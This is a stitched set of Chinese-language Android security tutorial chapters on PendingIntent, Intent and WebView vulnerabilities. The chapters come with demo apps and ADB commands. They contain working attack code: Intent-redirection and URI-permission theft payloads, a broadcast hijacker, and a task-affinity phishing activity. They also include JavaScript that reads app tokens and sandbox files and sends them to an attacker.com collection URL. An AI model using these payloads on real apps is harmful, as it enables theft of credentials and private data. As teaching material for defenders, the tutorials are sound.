- 对后台启动 Activity 的限制更严格,通过 PendingIntent 从后台启动 Activity 需要创建者在创建时显式授权(通过 `ActivityOptions.setPendingIntentBackgroundActivityStartMode()`
- 对 PendingIntent 的 sender 身份校验更严格
* * *
## 7\. 演示
下面用配套的演示 Appcom.demo.pendingintentsecurity)来展示 PendingIntent 劫持的效果。
Demo App 模拟了一个常见场景:App 发送通知时,PendingIntent 指向一个中转 ActivityDispatchActivity),该 Activity 根据 extras 中的 `target_class` 决定跳转目标。原始 Intent 没有设置 `target_class`,正常情况下跳转到默认页面。但因为 PendingIntent 使用了 FLAG\_MUTABLE,攻击者可以通过 fillIntent 注入 `target_class` extra,控制跳转到任意内部组件。
### 7.1 创建不安全的通知
VulnNotificationActivity 创建通知时使用了 FLAG\_MUTABLE 的 PendingIntent
```java
Intent intent = new Intent(this, DispatchActivity.class);
PendingIntent pi = PendingIntent.getActivity(this, 0, intent,
PendingIntent.FLAG_MUTABLE | PendingIntent.FLAG_UPDATE_CURRENT);
```
DispatchActivity 根据 extras 决定跳转:
```java
String targetClass = getIntent().getStringExtra("target_class");
if (targetClass != null) {
Intent intent = new Intent();
intent.setClassName(getPackageName(), targetClass);
startActivity(intent);
} else {
startActivity(new Intent(this, MainActivity.class));
}
```
通过 ADB 发送通知:
```bash
adb shell am start -n com.demo.pendingintentsecurity/.VulnNotificationActivity
```
logcat 输出:
```php
W VulnNotification: 通知已发送
W VulnNotification: PendingIntent: 显式 Intent DispatchActivity, FLAG_MUTABLE
W VulnNotification: 原始 Intent 未设置 target_class,正常跳转到默认页面
W VulnNotification: FLAG_MUTABLE 允许 fillIntent 注入 target_class extra
```
### 7.2 执行劫持
HijackDemoActivity 模拟攻击者的行为——获取到通知中的 mutable PendingIntent 后,通过 fillIntent 注入 `target_class` extra
```java
Intent originalIntent = new Intent(this, DispatchActivity.class);
PendingIntent pi = PendingIntent.getActivity(this, 0, originalIntent,
PendingIntent.FLAG_MUTABLE | PendingIntent.FLAG_NO_CREATE);
Intent fillIntent = new Intent();
fillIntent.putExtra("target_class",
"com.demo.pendingintentsecurity.InternalSecretActivity");
pi.send(context, 0, fillIntent);
```
通过 ADB 触发劫持:
```bash
adb shell am start -n com.demo.pendingintentsecurity/.HijackDemoActivity \
--ez auto_start true
```
logcat 输出:
```php
W HijackDemo: 成功获取到已有的 mutable PendingIntent
W HijackDemo: 劫持成功:注入 target_class=InternalSecretActivity
W HijackDemo: DispatchActivity 将跳转到未导出的内部组件
W DispatchActivity: 收到 target_class: com.demo.pendingintentsecurity.InternalSecretActivity
W DispatchActivity: 已跳转到: com.demo.pendingintentsecurity.InternalSecretActivity
W InternalSecret: InternalSecretActivity 被通过 PendingIntent 劫持启动
W InternalSecret: 内部机密页面已打开,敏感数据已暴露
```
InternalSecretActivity 是 exported=false 的内部组件,正常情况下外部无法启动。但攻击者通过 fillIntent 向 mutable PendingIntent 注入了 `target_class` extraDispatchActivity 读取后跳转到了内部机密页面:
![demo9_hijack.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/04/attach-cdd0b84844cb62b039dec338b3e63af734c8d309.png)
如果这个 PendingIntent 使用 FLAG\_IMMUTABLEfillIntent 中的 extras 不会被合并到原始 Intent 中(原始 Intent 未设置的 key 除外的规则在 Android 12+ 上有变化,但 FLAG\_IMMUTABLE 从根本上阻止了修改),攻击就无法成功。
* * *
## 8\. 总结
PendingIntent 的安全问题围绕"身份委托"展开。创建者把自己的执行权限包装进 PendingIntent 交给其他方,如果 PendingIntent 是可变的且 Intent 不够具体,接收方就能借用创建者的身份执行任意操作。
回顾一下:
- PendingIntent 以创建者的身份执行,不是触发者的身份
- FLAG\_MUTABLE 允许接收方修改 Intent 内容,是劫持的前提
- 隐式 Intent 或空 Intent 的 PendingIntent 攻击面最大
- 通知、广播回调、Widget 是 PendingIntent 泄露的常见渠道
- Android 12 强制要求声明 mutability,并限制了 fillIntent 对已设置字段的覆盖
- Android 14 进一步限制了通过 PendingIntent 从后台启动 Activity
下一章讲 Android 系统设置安全。Settings.System、Settings.Secure、Settings.Global 这三个命名空间存储了设备的各种配置,部分设置项的读写权限控制不够严格,可能被第三方 App 利用来修改设备行为。
@@ -0,0 +1,497 @@
# Android移动安全第二章_Intent安全
> QIANXIN Team
> 来源:https://forum.butian.net/share/4825
> 系列目录:
>
> 1. Android 组件导出安全
> 2. Android Intent 安全(本章)
> 3. Android Binder 服务安全
> 4. Android ContentProvider 安全
> 5. Android WebView 安全
> 6. Android UI 欺骗与钓鱼
> 7. Android Deep Link 安全
> 8. Android 广播安全
> 9. Android PendingIntent 安全
> 10. Android 系统设置安全
> 11. Android SSRF 与网络安全
> 12. Android 加密与数据存储安全
> 13. Android 认证与证书校验
> 14. Android Zip Slip 路径遍历
> 15. Android Fragment Injection
> 16. Android SELinux 与沙箱机制
* * *
## 1\. 前言
在 Android 中,组件之间不能直接调用彼此的方法。它们通过 Intent(意图)来通信——一个组件创建一个 Intent 对象,描述"我想做什么"或"我想启动谁",然后交给系统去分发。
上一章我们看到,导出的组件可以被外部访问。但"访问"这个动作本身,就是通过 Intent 完成的。攻击者构造一个恶意 Intent 发给目标组件,组件收到后如果不加校验地处理其中的数据,漏洞就产生了。
Intent 相关的安全问题可以分为三个方向:
- 攻击者向受害 App 发送恶意 Intent(注入)
- 受害 App 发出的 Intent 被攻击者截获(泄露)
- 受害 App 把攻击者提供的 Intent 当作自己的去执行(重定向)
本章逐一展开。
* * *
## 2\. Intent 基础
### 2.1 显式 Intent 与隐式 Intent
Intent 分为两种:
显式 Intent 明确指定了目标组件的包名和类名,系统直接将它发送给指定组件:
```java
Intent intent = new Intent();
intent.setClassName("com.target.app", "com.target.app.PaymentActivity");
startActivity(intent);
```
隐式 Intent 不指定具体组件,而是描述一个动作(action),由系统根据已安装 App 的 intent-filter 匹配合适的组件来处理:
```java
Intent intent = new Intent("android.intent.action.VIEW");
intent.setData(Uri.parse("https://example.com"));
startActivity(intent);
```
从安全角度看,这两种 Intent 的风险方向不同:
| 类型 | 风险方向 | 原因 |
| --- | --- | --- |
| 显式 Intent | 注入风险 | 攻击者可以构造显式 Intent 直接发给导出组件 |
| 隐式 Intent | 泄露风险 | 任何 App 都可以注册匹配的 intent-filter 来拦截 |
### 2.2 Intent 的数据承载
一个 Intent 可以携带多种数据,这些数据都是攻击者在构造恶意 Intent 时可以控制的:
| 字段 | 说明 | 示例 |
| --- | --- | --- |
| action | 动作标识符 | android.intent.action.VIEW |
| data | URI 数据 | content://contacts/1 |
| type | MIME 类型 | image/png |
| category | 类别标签 | android.intent.category.DEFAULT |
| extras | 键值对附加数据 | putExtra("url", "https://evil.com") |
| flags | 控制标志位 | FLAG_GRANT_READ_URI_PERMISSION |
| component | 目标组件 | com.app/.Activity |
其中 extras 是最常被利用的,因为它可以携带任意类型的数据(字符串、整数、数组、甚至另一个 Intent 对象),而且很多开发者会直接从 extras 中取值使用,不做校验。
### 2.3 Intent 的传递路径
理解 Intent 的传递路径有助于分析攻击面:
![intent_flow.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/03/attach-7c63a3bb99c43ce8dbc79b3241faf70a175b1771.png)
系统在中间做的权限检查主要是:接收方组件是否导出、发送方是否持有所需权限。但系统不会检查 Intent 中携带的数据内容是否安全——这完全是接收方自己的责任。
* * *
## 3\. Intent 重定向(LaunchAnywhere
### 3.1 原理
Intent 重定向是 Android 客户端漏洞中影响比较大的一类。它的核心模式是:
1. 受害 App 的某个导出组件接收外部 Intent
2. 从这个 Intent 的 extras 中取出一个嵌套的 Intent 对象(或用于构造 Intent 的参数)
3. 用取出的 Intent 调用 startActivity() / startService() / sendBroadcast()
问题在于第 3 步:受害 App 是用自己的身份去执行这个 Intent 的。如果受害 App 是系统应用(UID 1000),那攻击者就相当于借用了系统权限去启动任意组件,包括那些未导出的、受权限保护的组件。
这就是"LaunchAnywhere"这个名字的由来——借助受害 App 的身份,启动任何地方的任何组件。
### 3.2 三种常见变体
#### 变体 1:直接转发嵌套 Intent
最经典的模式。从 extras 中取出一个 Parcelable 类型的 Intent 对象,直接 startActivity
```java
Intent next = getIntent().getParcelableExtra("next_intent");
if (next != null) {
startActivity(next);
}
```
攻击者构造:
```java
Intent inner = new Intent();
inner.setClassName("com.victim.app", "com.victim.app.InternalActivity");
Intent outer = new Intent();
outer.setClassName("com.victim.app", "com.victim.app.VulnActivity");
outer.putExtra("next_intent", inner);
startActivity(outer);
```
#### 变体 2:从字符串参数构造 Intent
不直接传 Intent 对象,而是传组件名的字符串,由受害 App 自己构造 Intent
```java
String pkg = getIntent().getStringExtra("target_package");
String cls = getIntent().getStringExtra("target_class");
if (pkg != null && cls != null) {
Intent redirect = new Intent();
redirect.setClassName(pkg, cls);
startActivity(redirect);
}
```
这种变体在 ADB 测试时更方便,因为 `am start` 命令可以直接传字符串参数,但不方便传 Parcelable 对象。
演示 App 中的 VulnProxyActivity 同时支持变体 1 和变体 2。通过 ADB 用字符串参数启动未导出的 InternalTokenActivity
```bash
adb shell am start -n com.demo.intentsecurity/.VulnProxyActivity \
--es target_package "com.demo.intentsecurity" \
--es target_class "com.demo.intentsecurity.InternalTokenActivity"
```
成功绕过 exported=false 限制,打开了内部 Token 管理页面:
![demo2_intent_scheme_result.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/03/attach-366eedb1cb7b2a889c483d09a1280ac875959a90.png)
#### 变体 3IntentSender / PendingIntent 中继
有些场景下,受害 App 不是直接 startActivity,而是通过 IntentSender 或 PendingIntent 间接执行。这种模式在系统服务中比较常见:
```java
IntentSender sender = intent.getParcelableExtra("intent_sender");
if (sender != null) {
sender.sendIntent(context, 0, null, null, null);
}
```
### 3.3 Android 12+ 的缓解措施
从 Android 12 开始,系统对嵌套 Intent 做了一些限制:
- 如果一个 Intent 是从另一个 Intent 的 extras 中取出的,且目标组件未导出,系统会阻止启动并抛出异常
- 具体来说,`startActivity()` 会检查调用者是否有权限访问目标组件,而不是简单地信任调用者的 UID
但这个缓解不是万能的:
- 只对 startActivity 有效,sendBroadcast 和 startService 的限制较弱
- 如果目标组件本身是导出的,这个检查不起作用
- 系统应用(UID 1000)的调用仍然可以绕过部分限制
* * *
## 4\. 隐式 Intent 信息泄露
### 4.1 原理
当 App 使用隐式 Intent 发送数据时,系统会在所有已安装 App 中匹配合适的接收者。如果攻击者的 App 注册了匹配的 intent-filter,就能截获这个 Intent 中携带的数据。
```java
Intent intent = new Intent("com.victim.app.ACTION_SHARE_TOKEN");
intent.putExtra("auth_token", "eyJhbGciOiJIUzI1NiJ9...");
sendBroadcast(intent);
```
攻击者只需注册一个匹配的 Receiver:
```xml
<receiver android:name=".TokenStealer" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_SHARE_TOKEN" />
</intent-filter>
</receiver>
```
这个问题不限于广播。隐式 Intent 启动 Activity 时,如果有多个 App 匹配,系统会弹出选择器让用户选——但用户可能会选择攻击者的 App。隐式 Intent 启动 Service 在 Android 5.0+ 已被禁止,但广播仍然可以。
演示 App 中的 LeakySenderActivity 展示了这个问题。启动后它会通过隐式广播发送模拟的 auth token:
```bash
adb shell am start -n com.demo.intentsecurity/.LeakySenderActivity
```
![demo2_implicit_leak.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/03/attach-15c861c3b8e2519fa4ba5e32604b1be39f61dfee.png)
页面上可以看到广播的 action 和携带的 token 数据。任何注册了 `com.demo.intentsecurity.ACTION_TOKEN_UPDATE` 的 App 都能收到这条广播。
### 4.2 有序广播的劫持
有序广播(Ordered Broadcast)是一种按优先级依次分发的广播。接收者可以修改广播内容,甚至终止广播的继续传递。
```java
sendOrderedBroadcast(intent, null);
```
攻击者注册一个高优先级的 Receiver:
```xml
<receiver android:name=".Hijacker" android:exported="true">
<intent-filter android:priority="999">
<action android:name="com.victim.app.ACTION_VERIFY" />
</intent-filter>
</receiver>
```
```java
public class Hijacker extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String code = intent.getStringExtra("verification_code");
Log.d("Hijacker", "Got code: " + code);
abortBroadcast();
}
}
```
优先级值(priority)范围是 -1000 到 1000,值越大越先收到。攻击者设置 999 就能抢在大多数合法 Receiver 之前处理广播。
### 4.3 Activity 选择器劫持
当隐式 Intent 匹配到多个 Activity 时,系统弹出选择器(Chooser)。攻击者可以注册一个看起来像合法应用的 Activity 来欺骗用户选择:
```xml
<activity
android:name=".FakeFileManager"
android:label="文件管理器"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.GET_CONTENT" />
<category android:name="android.intent.category.DEFAULT" />
<data android:mimeType="*/*" />
</intent-filter>
</activity>
```
用户在选择器中看到"文件管理器",可能会点击它,然后攻击者的 Activity 就获得了原本应该由合法应用处理的数据。
* * *
## 5\. Intent Flag 滥用
### 5.1 FLAG\_GRANT\_READ\_URI\_PERMISSION
这个 flag 允许 Intent 的接收方临时获得对指定 URI 的读取权限,即使接收方没有对应的 ContentProvider 权限。
正常用途是文件分享:App A 把自己 ContentProvider 中的文件 URI 通过 Intent 发给 App B,同时带上这个 flag,App B 就能临时读取这个文件。
但如果受害 App 的导出组件存在 Intent 重定向漏洞,攻击者可以构造一个带有 `FLAG_GRANT_READ_URI_PERMISSION` 的 Intent,让受害 App 把自己 ContentProvider 的数据"授权"给攻击者:
```java
Intent inner = new Intent();
inner.setData(Uri.parse("content://com.victim.app.provider/private_data"));
inner.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
inner.setClassName("com.attacker.app", "com.attacker.app.ReceiverActivity");
Intent outer = new Intent();
outer.setClassName("com.victim.app", "com.victim.app.VulnRedirectActivity");
outer.putExtra("next_intent", inner);
startActivity(outer);
```
受害 App 执行 `startActivity(inner)` 时,系统认为是受害 App 主动授权,攻击者的 ReceiverActivity 就获得了读取 `content://com.victim.app.provider/private_data` 的权限。
### 5.2 FLAG\_ACTIVITY\_NEW\_TASK 与任务栈劫持
Android 的 Activity 是按"任务栈"(Task)组织的。每个任务栈是一组 Activity 的堆叠,用户按返回键时从栈顶依次弹出。
`FLAG_ACTIVITY_NEW_TASK` 会让目标 Activity 在一个新的任务栈中启动。配合 `taskAffinity`(任务栈亲和性,决定 Activity 属于哪个任务栈)属性,攻击者可以把自己的 Activity 插入到受害 App 的任务栈中:
```xml
<activity
android:name=".PhishingActivity"
android:taskAffinity="com.victim.app"
android:exported="true" />
```
```java
Intent intent = new Intent(this, PhishingActivity.class);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);
```
当用户切换到受害 App 时,看到的可能是攻击者的钓鱼页面,因为它在同一个任务栈的栈顶。
### 5.3 其他值得关注的 Flag
| Flag | 作用 | 安全影响 |
| --- | --- | --- |
| FLAG_GRANT_WRITE_URI_PERMISSION | 临时授予 URI 写权限 | 配合重定向可写入受害 App 数据 |
| FLAG_GRANT_PERSISTABLE_URI_PERMISSION | 持久化 URI 权限授予 | 权限不会在 Activity 结束后撤销 |
| FLAG_ACTIVITY_CLEAR_TASK | 清空目标任务栈 | 可清除受害 App 的 Activity 历史 |
| FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS | 从最近任务列表隐藏 | 隐藏攻击痕迹 |
* * *
## 6\. Intent Scheme URL
### 6.1 什么是 Intent Scheme URL
Android 支持一种特殊的 URL 格式,可以直接编码一个 Intent:
```php
intent:
```
这个 URL 可以通过 `Intent.parseUri()` 解析成一个 Intent 对象。如果 App 的 WebView 或 Deep Link 处理逻辑中使用了 `Intent.parseUri()` 且没有做过滤,攻击者就能通过一个 URL 触发任意 Intent。
### 6.2 解析过程
```java
Intent intent = Intent.parseUri(url, Intent.URI_INTENT_SCHEME);
startActivity(intent);
```
这段代码的问题在于:URL 中可以编码 Intent 的几乎所有字段,包括 component、action、data、extras、flags。攻击者可以精确控制最终生成的 Intent。
### 6.3 常见的不安全处理
```java
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
if (url.startsWith("intent://")) {
Intent intent = Intent.parseUri(url, Intent.URI_INTENT_SCHEME);
startActivity(intent);
return true;
}
return false;
}
```
安全的做法是在解析后移除敏感字段:
```java
if (url.startsWith("intent://")) {
Intent intent = Intent.parseUri(url, Intent.URI_INTENT_SCHEME);
intent.setComponent(null);
intent.removeFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
intent.removeFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
intent.addCategory(Intent.CATEGORY_BROWSABLE);
startActivity(intent);
}
```
演示 App 中的 VulnWebViewActivity 加载了一个内置页面,其中包含一个 intent:// 链接。也可以通过 ADB 直接传入 intent:// URL
```bash
adb shell am start -n com.demo.intentsecurity/.VulnWebViewActivity \
--es url "intent://dummy#Intent;component=com.demo.intentsecurity/.InternalTokenActivity;end"
```
WebView 拦截到 intent:// URL 后直接解析执行,成功启动了未导出的 InternalTokenActivity。内置演示页面如下:
![demo2_intent_scheme.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/03/attach-6844bea164b498189ff5ad2fd71988a05049bc8c.png)
点击链接后,WebView 解析 intent:// URL 并启动了内部 Token 页面:
![demo2_intent_scheme_result.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/03/attach-32f344f54ccefd06a56b799dec4708045aff98eb.png)
* * *
## 7\. setResult 数据回传泄露
### 7.1 原理
当 Activity A 通过 `startActivityForResult()` 启动 Activity B 时,B 可以通过 `setResult()` 把数据回传给 A。
如果 B 是一个导出的 Activity,攻击者可以直接用 `startActivityForResult()` 启动它,然后在 `onActivityResult()` 中接收 B 回传的数据:
```java
public class TokenActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent result = new Intent();
result.putExtra("token", generateAuthToken());
setResult(RESULT_OK, result);
finish();
}
}
```
```java
Intent intent = new Intent();
intent.setClassName("com.victim.app", "com.victim.app.TokenActivity");
startActivityForResult(intent, 1);
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
if (data != null) {
String token = data.getStringExtra("token");
}
}
```
### 7.2 容易忽略的场景
有些 Activity 不是在 onCreate 中直接 setResult,而是在用户操作后回传数据。比如一个文件选择器 Activity,用户选择文件后通过 setResult 返回文件 URI。如果这个 Activity 是导出的,攻击者可以启动它,等用户选择文件后获得文件 URI。
另一个场景是 Activity 在 finish 之前无条件调用 setResult。开发者可能认为"只有我自己的 App 会调用这个 Activity",但如果它是导出的,任何 App 都可以调用并获取返回数据。
演示 App 中的 VulnResultActivity 就是这种模式。启动后立即生成 token 并通过 setResult 回传,然后 finish
```bash
adb shell am start -n com.demo.intentsecurity/.VulnResultActivity
adb logcat -s VulnResult
```
输出:
```php
I VulnResult: Generated token: auth_1771677297791_secret
I VulnResult: Token set in result, finishing. Any caller gets this data.
```
虽然 ADB 无法直接接收 setResult 的数据,但任何通过 `startActivityForResult()` 启动它的 App 都能在 `onActivityResult()` 中拿到 token、user\_role、session\_id 等敏感信息。
* * *
## 8\. 总结
Intent 是 Android 组件通信的核心,也是攻击者与目标 App 交互的主要手段。
回顾一下本章的几个方向:
- Intent 重定向(LaunchAnywhere):借用受害 App 身份启动任意组件,Android 12+ 有缓解但不完全
- 隐式 Intent 泄露:广播、Activity 选择器都可能被攻击者截获
- Flag 滥用:FLAG\_GRANT\_READ\_URI\_PERMISSION 配合重定向可以窃取 ContentProvider 数据
- Intent Scheme URLWebView 中解析 intent:// URL 可能触发任意 Intent
- setResult 回传泄露:导出的 Activity 可能把敏感数据回传给攻击者
下一章讲 Android Binder 服务安全。Binder 是 Android IPC 的底层实现,系统服务、AIDL 接口都建立在它之上。我们会分析 Binder 的通信机制、系统服务的攻击面,以及 transaction code 调用的具体方法。
通过网盘分享的文件:intent.apk
链接: [https://pan.baidu.com/s/19I4aWSMkLLNVw3y5tye34Q?pwd=iqgs](https://pan.baidu.com/s/19I4aWSMkLLNVw3y5tye34Q?pwd=iqgs) 提取码: iqgs
@@ -0,0 +1,476 @@
# Android移动安全第五章_WebView安全
> QIANXIN Team
> 来源:https://forum.butian.net/share/4840
> 系列目录:
>
> 1. Android 组件导出安全
> 2. Android Intent 安全
> 3. Android Binder 服务安全
> 4. Android ContentProvider 安全
> 5. Android WebView 安全(本章)
> 6. Android UI 欺骗与钓鱼
> 7. Android Deep Link 安全
> 8. Android 广播安全
> 9. Android PendingIntent 安全
> 10. Android 系统设置安全
> 11. Android SSRF 与网络安全
> 12. Android 加密与数据存储安全
> 13. Android 认证与证书校验
> 14. Android Zip Slip 路径遍历
> 15. Android Fragment Injection
> 16. Android SELinux 与沙箱机制
* * *
## 1\. 前言
很多 Android App 不是纯原生开发的,它们会用 WebView(Android 提供的内嵌浏览器组件)加载 HTML 页面来实现部分功能——活动页、帮助文档、支付页面、甚至整个应用的主界面。这种开发方式通常叫混合开发(Hybrid),原生代码和 Web 页面各负责一部分功能。
WebView 运行在 App 进程中,能执行 JavaScript、访问网络、渲染 HTML/CSS,底层和 Chrome 使用相同的渲染引擎(Chromium)。和独立浏览器不同的是,WebView 拥有宿主 App 的所有权限,而且可以通过 JavaScript BridgeJS 桥接,后面第 4 节会详细讲)与原生代码交互。如果攻击者能控制 WebView 加载的内容,就等于在 App 的上下文中执行代码。
本章围绕 WebView 的几个攻击方向展开:URL 来源是否可控、JavaScript 接口暴露、文件协议访问、URL 跳转拦截逻辑、以及 SSL 证书校验。
* * *
## 2\. WebView 基础配置
### 2.1 基本使用
在 Activity 中使用 WebView
```java
WebView webView = findViewById(R.id.webview);
webView.loadUrl("https://example.com");
```
默认情况下 WebView 的功能比较受限——JavaScript 禁用、不能访问本地文件、没有 JS Bridge。开发者需要通过 WebSettings(WebView 的配置类)逐项开启:
```java
WebSettings settings = webView.getSettings();
settings.setJavaScriptEnabled(true);
settings.setAllowFileAccess(true);
settings.setAllowFileAccessFromFileURLs(true);
settings.setDomStorageEnabled(true);
```
每开启一项,就多一个攻击面。
### 2.2 WebViewClient 与 URL 拦截
WebViewClient 是 WebView 的事件回调接口,开发者通过它控制页面加载行为。其中 `shouldOverrideUrlLoading()` 在 WebView 即将加载一个新 URL 时被调用,开发者可以在这里拦截并自行处理:
```java
webView.setWebViewClient(new WebViewClient() {
@Override
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
String url = request.getUrl().toString();
if (url.startsWith("myapp://")) {
handleCustomScheme(url);
return true;
}
return false;
}
});
```
这个方法是很多漏洞的触发点——拦截逻辑有缺陷的话,攻击者可以绕过白名单加载恶意页面,或者通过自定义协议触发敏感操作。
### 2.3 WebChromeClient
WebChromeClient 处理 JavaScript 的 UI 交互,比如 `alert()``confirm()``prompt()` 弹窗,以及文件选择(`<input type="file">`)、地理位置请求等。
从安全角度看,`onShowFileChooser()` 值得注意——如果 WebView 加载了攻击者控制的页面,页面中的 `<input type="file">` 可以触发文件选择器,用户选择的文件会被上传到攻击者的服务器。
* * *
## 3\. 任意 URL 加载
### 3.1 原理
导出的 Activity 从 Intent 中读取 URL,然后传给 `WebView.loadUrl()`,没有做校验:
```java
public class WebActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_web);
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
String url = getIntent().getStringExtra("url");
if (url != null) {
webView.loadUrl(url);
}
}
}
```
攻击者可以让这个 WebView 加载任意页面。如果 WebView 还启用了 JavaScript 并注册了 JS Bridge,攻击者的页面就能调用 App 暴露的原生方法。
### 3.2 URL 白名单绕过
有些开发者会加一个域名白名单检查:
```java
String url = getIntent().getStringExtra("url");
if (url != null && url.contains("example.com")) {
webView.loadUrl(url);
}
```
这种基于字符串包含的检查容易绕过:
- `https://evil.com/example.com` — 路径中包含目标域名
- `https://example.com.evil.com` — 子域名伪造
- `https://evil.com?redirect=example.com` — 参数中包含
正确的做法是解析 URL 后检查 host:
```java
Uri uri = Uri.parse(url);
String host = uri.getHost();
if (host != null && (host.endsWith(".example.com") || "example.com".equals(host))) {
webView.loadUrl(url);
}
```
但即使 host 检查正确,如果目标域名本身存在开放重定向(Open Redirect,服务端根据参数跳转到任意 URL 的功能),攻击者仍然可以通过 `https://example.com/redirect?to=https://evil.com` 绕过白名单。
下面用配套的演示 Appcom.demo.webviewsecurity)来展示。VulnWebActivity 从 Intent 读取 URL 直接加载,没有任何校验:
```bash
adb shell am start -n com.demo.webviewsecurity/.VulnWebActivity \
--es url "https://example.com"
```
WebView 加载了外部传入的 URL
![demo5_vuln_url.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/03/attach-c4430ad5ece87ac52848e7b01ad78662ded9142b.png)
传入攻击者控制的页面时,页面中的 JavaScript 就在 App 的上下文中执行。
* * *
## 4\. JavaScript Bridge 暴露
### 4.1 addJavascriptInterface
Android 提供了 `addJavascriptInterface()` 方法,让开发者把 Java 对象暴露给 WebView 中的 JavaScript 代码。注册后,WebView 中加载的任何页面都可以通过 JavaScript 调用这些方法:
```java
public class AppBridge {
private Context context;
public AppBridge(Context context) {
this.context = context;
}
@JavascriptInterface
public String getToken() {
SharedPreferences prefs = context.getSharedPreferences("auth", MODE_PRIVATE);
return prefs.getString("token", "");
}
@JavascriptInterface
public String getDeviceId() {
return Settings.Secure.getString(
context.getContentResolver(), Settings.Secure.ANDROID_ID);
}
@JavascriptInterface
public void writeFile(String filename, String content) {
File file = new File(context.getFilesDir(), filename);
}
}
webView.addJavascriptInterface(new AppBridge(this), "NativeBridge");
```
网页中的 JavaScript 通过 `window.NativeBridge` 调用:
```javascript
var token = NativeBridge.getToken();
var deviceId = NativeBridge.getDeviceId();
NativeBridge.writeFile("config.txt", "malicious_content");
```
`@JavascriptInterface` 注解是 Android 4.2(API 17)引入的,标记哪些方法可以被 JavaScript 调用。没有这个注解的方法不会暴露。在 Android 4.2 之前,注册的对象的所有 public 方法都会暴露,包括从 Object 继承的 `getClass()`——攻击者可以通过反射链执行任意 Java 代码。
### 4.2 攻击条件
JS Bridge 暴露的危害取决于两个条件:
1. 攻击者能否控制 WebView 加载的页面(任意 URL 加载漏洞)
2. Bridge 暴露了哪些方法
两个条件同时满足时,攻击者的页面就能调用 App 的原生方法。常见的危险方法类型:
| 方法类型 | 示例 | 危害 |
| --- | --- | --- |
| 读取凭证 | getToken()、getCookie() | 窃取认证信息 |
| 读取设备信息 | getDeviceId()、getPhoneNumber() | 隐私泄露 |
| 文件操作 | readFile()、writeFile() | 读写 App 沙箱文件 |
| 执行命令 | exec()、runCommand() | 命令执行 |
| 发送请求 | httpRequest()、postData() | SSRF、数据外传 |
### 4.3 演示
演示 App 的 VulnBridgeActivity 注册了一个 JS BridgeNativeBridge),暴露了 getToken()、getDeviceInfo()、writeLog() 三个方法。默认加载一个内置的演示页面,页面中的 JavaScript 调用这些方法并显示结果:
```bash
adb shell am start -n com.demo.webviewsecurity/.VulnBridgeActivity
```
内置演示页面提供了三个按钮,分别调用 Bridge 暴露的方法:
![demo5_bridge_page.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/03/attach-482824accfaa9b7e6aaca712d90b11234a8a1350.png)
通过 logcat 可以看到 Bridge 方法被调用:
```bash
adb logcat -s NativeBridge
```
输出:
```php
I NativeBridge: getToken() called, returning: eyJhbGciOiJIUzI1NiJ9.demo_secret_token
I NativeBridge: getDeviceInfo() called, returning: Model=23049RAD8C, SDK=35, Brand=Redmi
I NativeBridge: writeLog() called: test_log_from_javascript_1771751687876
```
getToken() 返回了 App 存储的认证 tokengetDeviceInfo() 返回了设备型号和系统版本,writeLog() 向 App 私有目录写入了日志。这些操作都是网页中的 JavaScript 触发的。
也可以通过 Intent 传入外部 URL,让 WebView 加载攻击者的页面,效果相同:
```bash
adb shell am start -n com.demo.webviewsecurity/.VulnBridgeActivity \
--es url "https://attacker.com/steal.html"
```
攻击者的页面可以执行:
```javascript
var token = NativeBridge.getToken();
var info = NativeBridge.getDeviceInfo();
new Image().src = "https://attacker.com/collect?token=" + token + "&info=" + info;
```
* * *
## 5\. file:// 协议攻击
### 5.1 相关配置项
WebView 有几个控制文件访问的配置:
| 配置项 | 默认值 | 作用 |
| --- | --- | --- |
| setAllowFileAccess | API < 30: true; API >= 30: false | 是否允许加载 file:// URL |
| setAllowFileAccessFromFileURLs | API < 16: true; 之后: false | file:// 页面能否通过 JS 读取其他 file:// |
| setAllowUniversalAccessFromFileURLs | API < 16: true; 之后: false | file:// 页面能否通过 JS 访问任意来源 |
| setAllowContentAccess | true | 是否允许加载 content:// URL |
`setAllowFileAccessFromFileURLs``setAllowUniversalAccessFromFileURLs` 允许通过 file:// 加载的页面用 JavaScriptXMLHttpRequest 或 fetch)读取设备上的其他文件。
### 5.2 攻击原理
如果 WebView 同时满足以下条件:
1. 允许加载 file:// URLsetAllowFileAccess(true)
2. 启用了 JavaScriptsetJavaScriptEnabled(true)
3. 允许 file:// 页面跨域读取(setAllowFileAccessFromFileURLs(true) 或 setAllowUniversalAccessFromFileURLs(true)
4. 攻击者能控制加载的 URL
攻击者可以让 WebView 加载一个本地 HTML 文件,文件中的 JavaScript 读取 App 沙箱内的其他文件:
```javascript
var xhr = new XMLHttpRequest();
xhr.open("GET", "file:///data/data/com.target.app/shared_prefs/auth.xml", true);
xhr.onload = function() {
new Image().src = "https://attacker.com/collect?data=" + encodeURIComponent(xhr.responseText);
};
xhr.send();
```
### 5.3 利用路径
攻击者需要先把恶意 HTML 文件放到设备上,然后让目标 App 的 WebView 加载它。常见的方式:
1. 通过另一个漏洞(比如上一章讲的 ContentProvider openFile 路径遍历)向目标 App 的目录写入 HTML 文件
2. 利用 App 的下载功能,让 App 自己下载恶意 HTML 到已知路径
